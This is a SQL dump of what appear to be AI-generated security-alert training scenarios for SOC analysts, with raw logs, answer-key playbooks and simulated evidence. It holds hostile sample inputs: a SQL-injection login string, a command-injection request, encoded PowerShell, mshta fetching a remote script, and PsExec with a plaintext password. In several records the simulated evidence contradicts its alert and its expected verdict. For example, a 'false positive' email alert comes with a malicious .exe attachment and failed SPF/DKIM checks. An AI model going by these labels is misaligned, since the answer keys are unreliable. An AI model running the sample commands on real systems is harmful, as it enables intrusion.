(698, 'False Positive: Legitimate User Activity Mistaken for Command Injection', 'low', 'IDS', 'An alert was triggered for a suspected command injection, but the activity was identified as a legitimate administrative task.', 'Web Attack', 'T1190', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T05:00:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"192.168.2.15\",\"dst_ip\":\"192.168.2.20\",\"username\":\"admin\",\"hostname\":\"WEB-SERVER\",\"request_body\":\"ping -c 4 8.8.8.8 && echo test\",\"url\":\"http://192.168.2.20/admin/execute\"}', '2026-01-10 23:39:43', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Source IP of internal admin machine\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.2.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Web server internal IP\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"ping -c 4 8.8.8.8 && echo test\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Legitimate administrative command executed\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"Upon review, the command was identified as a routine administrative task, not malicious.\"}', 'Intermediate', 'EDR', 5, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.345Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T05:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"dst_ip\\\":\\\"192.168.2.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"WEB-SERVER\\\",\\\"request_body\\\":\\\"ping -c 4 8.8.8.8 && echo test\\\",\\\"url\\\":\\\"http://192.168.2.20/admin/execute\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.345Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T05:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"dst_ip\\\":\\\"192.168.2.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"WEB-SERVER\\\",\\\"request_body\\\":\\\"ping -c 4 8.8.8.8 && echo test\\\",\\\"url\\\":\\\"http://192.168.2.20/admin/execute\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.345Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T05:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"dst_ip\\\":\\\"192.168.2.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"WEB-SERVER\\\",\\\"request_body\\\":\\\"ping -c 4 8.8.8.8 && echo test\\\",\\\"url\\\":\\\"http://192.168.2.20/admin/execute\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.345Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T05:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"dst_ip\\\":\\\"192.168.2.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"WEB-SERVER\\\",\\\"request_body\\\":\\\"ping -c 4 8.8.8.8 && echo test\\\",\\\"url\\\":\\\"http://192.168.2.20/admin/execute\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.345Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T05:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"dst_ip\\\":\\\"192.168.2.20\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"WEB-SERVER\\\",\\\"request_body\\\":\\\"ping -c 4 8.8.8.8 && echo test\\\",\\\"url\\\":\\\"http://192.168.2.20/admin/execute\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(699, 'Suspicious PowerShell Execution with Encoded Commands', 'high', 'CrowdStrike', 'A PowerShell process was detected executing with encoded commands on an internal host. This is frequently used in obfuscation techniques by attackers.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T15:42:56Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.1.20\",\"dst_ip\":\"\",\"username\":\"jdoe\",\"hostname\":\"DESKTOP-1A2B3C\",\"command_line\":\"powershell.exe -enc W3Bhd2Vyc2hlbGwuZXhlIC1jb21tYW5kIC1lbmMgU29tZUVuY29kZWRDb21tYW5k\",\"file_hash\":\"3b7b3c2a5c6a4f7b8b8b3a2c3b7c6a4f\"}', '2026-01-10 01:55:09', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -enc W3Bhd2Vyc2hlbGwuZXhlIC1jb21tYW5kIC1lbmMgU29tZUVuY29kZWRDb21tYW5k\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell commands are often used in malicious scripts.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3b7b3c2a5c6a4f7b8b8b3a2c3b7c6a4f\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"This hash is associated with potentially unwanted software.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Encoded PowerShell commands indicate potential malware execution.\"}', 'Advanced', 'EDR', 7, 1, 'TECH', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(700, 'Unauthorized Access Attempt via RDP', 'critical', 'Splunk', 'Multiple failed RDP login attempts detected from an external IP address, suggesting a possible brute force attack.', 'Credential Attack', 'T1110', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T13:22:10Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"admin\",\"hostname\":\"RDP-SERVER\",\"failed_attempts\":25}', '2026-01-10 08:37:56', '2026-02-16 18:04:57', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"High number of failed login attempts from a known malicious IP indicates a brute force attack.\"}', 'Advanced', 'SIEM', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.346Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:22:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"RDP-SERVER\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:31:22.346Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:22:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"RDP-SERVER\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:30:22.346Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:22:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"RDP-SERVER\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:29:22.346Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:22:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"RDP-SERVER\\\",\\\"failed_attempts\\\":25}\"},{\"timestamp\":\"2026-02-01T20:28:22.346Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T13:22:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"RDP-SERVER\\\",\\\"failed_attempts\\\":25}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(701, 'Suspicious Network Activity Detected', 'medium', 'Firewall', 'A large volume of data was transferred from an internal server to an unknown external IP, potentially indicating data exfiltration.', 'Data Exfiltration', 'T1041', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T16:30:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"198.51.100.75\",\"bytes_transferred\":10485760,\"hostname\":\"FILE-SERVER\"}', '2026-01-11 09:55:46', '2026-02-18 09:06:45', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous data exfiltration activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Unusual data transfer patterns suggest possible data exfiltration to a known malicious IP.\"}', 'Advanced', 'NDR', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(702, 'False Positive: Legitimate Script Execution Detected', 'low', 'Wazuh', 'A legitimate administrative script was detected using mshta.exe, which can sometimes be misidentified as malicious.', 'Lateral Movement', 'T1218.005', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T12:45:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.15\",\"dst_ip\":\"\",\"username\":\"admin_user\",\"hostname\":\"ADMIN-SERVER\",\"command_line\":\"mshta.exe http://internal.domain.com/admin_script.hta\"}', '2026-01-10 21:43:29', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"mshta.exe http://internal.domain.com/admin_script.hta\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"URL is a trusted internal domain for administrative purposes.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"This is an internal IP address.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The script execution was legitimate, originating from a trusted internal source.\"}', 'Advanced', 'EDR', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.348Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T12:45:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"ADMIN-SERVER\\\",\\\"command_line\\\":\\\"mshta.exe http://internal.domain.com/admin_script.hta\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.348Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T12:45:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"ADMIN-SERVER\\\",\\\"command_line\\\":\\\"mshta.exe http://internal.domain.com/admin_script.hta\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.348Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T12:45:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"ADMIN-SERVER\\\",\\\"command_line\\\":\\\"mshta.exe http://internal.domain.com/admin_script.hta\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.348Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T12:45:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"ADMIN-SERVER\\\",\\\"command_line\\\":\\\"mshta.exe http://internal.domain.com/admin_script.hta\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.348Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T12:45:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"ADMIN-SERVER\\\",\\\"command_line\\\":\\\"mshta.exe http://internal.domain.com/admin_script.hta\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(703, 'LockBit 3.0 Ransomware Detected via Cobalt Strike Beacon', 'critical', 'CrowdStrike', 'A Cobalt Strike beacon associated with LockBit 3.0 ransomware campaign was detected communicating with a known malicious IP. The beacon exhibited process hollowing tactics.', 'Malware', 'T1059', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-11T03:22:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"176.32.98.45\",\"username\":\"jdoe\",\"hostname\":\"FINANCE-WS01\",\"command_line\":\"C:\\\\Windows\\\\System32\\\\rundll32.exe C:\\\\Users\\\\jdoe\\\\AppData\\\\Roaming\\\\temp.dll,EntryPoint\",\"file_hash\":\"3f8f6c41a65f4b5e3d2e0e5d4b2c6a0f\",\"domain\":\"malicious-domain.com\"}', '2026-01-10 14:55:24', '2026-02-16 18:04:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"176.32.98.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1003 times for C2 activity\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3f8f6c41a65f4b5e3d2e0e5d4b2c6a0f\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected as LockBit 3.0 ransomware payload\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of affected host\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The presence of a known malicious hash and IP, along with Cobalt Strike beacon activity, confirms the attack.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(704, 'Suspicious Network Traffic to Fast-Flux DNS Domain', 'high', 'Firewall', 'Network traffic to a domain exhibiting fast-flux characteristics was detected. The domain is known to be associated with the BlackCat/ALPHV ransomware group.', 'Command and Control', 'T1071', 1, 'investigating', 296, '{\"timestamp\":\"2026-01-11T08:15:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"203.0.113.120\",\"domain\":\"fluxy-malicious.com\"}', '2026-01-10 21:54:13', '2026-03-14 21:30:13', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"fluxy-malicious.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain associated with fast-flux and BlackCat C2 operations\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected client\"}}],\"expected_actions\":[\"block_ip\",\"block_domain\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"command_and_control\",\"analysis_notes\":\"The fast-flux domain and known association with ransomware C2 activity confirm the threat.\"}', 'Expert', 'NDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(705, 'False Positive: Suspected Phishing from Internal Domain', 'medium', 'Proofpoint', 'An email flagged as phishing due to a similar domain name was found to be sent from a legitimate internal source. The email appeared suspicious due to its subject line and formatting.', 'Phishing', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:45:12Z\",\"event_type\":\"email_received\",\"src_ip\":\"192.168.2.15\",\"dst_ip\":\"192.168.2.100\",\"email_sender\":\"alerts@internal-domain.com\",\"subject\":\"Urgent: Update Your Password Immediately\",\"url\":\"https://internal-domain.com/security-update\"}', '2026-01-10 05:58:44', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"alerts@internal-domain.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Legitimate email from internal domain\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"https://internal-domain.com/security-update\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Verified internal URL\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email originated from a legitimate internal source and was incorrectly flagged due to its subject and formatting.\"}', 'Expert', 'SIEM', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"False Positive: Suspected Phishing from Internal Domain\",\"date\":\"2026-02-01T20:32:22.351Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(706, 'APT Lateral Movement via PsExec Detected', 'high', 'Wazuh', 'An APT actor was detected using PsExec for lateral movement within the network, targeting several internal hosts over SMB.', 'Lateral Movement', 'T1077', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T06:30:50Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.20\",\"dst_ip\":\"10.0.0.25\",\"username\":\"admin_user\",\"hostname\":\"CORP-SERVER01\",\"command_line\":\"C:\\\\tools\\\\PsExec.exe \\\\\\\\10.0.0.25 -u admin_user -p password cmd\"}', '2026-01-11 08:30:21', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Source IP address of the initiating host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Target IP address of the lateral movement\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"C:\\\\tools\\\\PsExec.exe \\\\\\\\10.0.0.25 -u admin_user -p password cmd\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"PsExec usage detected, often used for lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Use of PsExec for lateral movement is a known tactic of APT groups, confirming the suspicious activity.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.351Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-11T06:30:50Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.20\\\",\\\"dst_ip\\\":\\\"10.0.0.25\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"CORP-SERVER01\\\",\\\"command_line\\\":\\\"C:\\\\\\\\tools\\\\\\\\PsExec.exe \\\\\\\\\\\\\\\\10.0.0.25 -u admin_user -p password cmd\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.351Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum 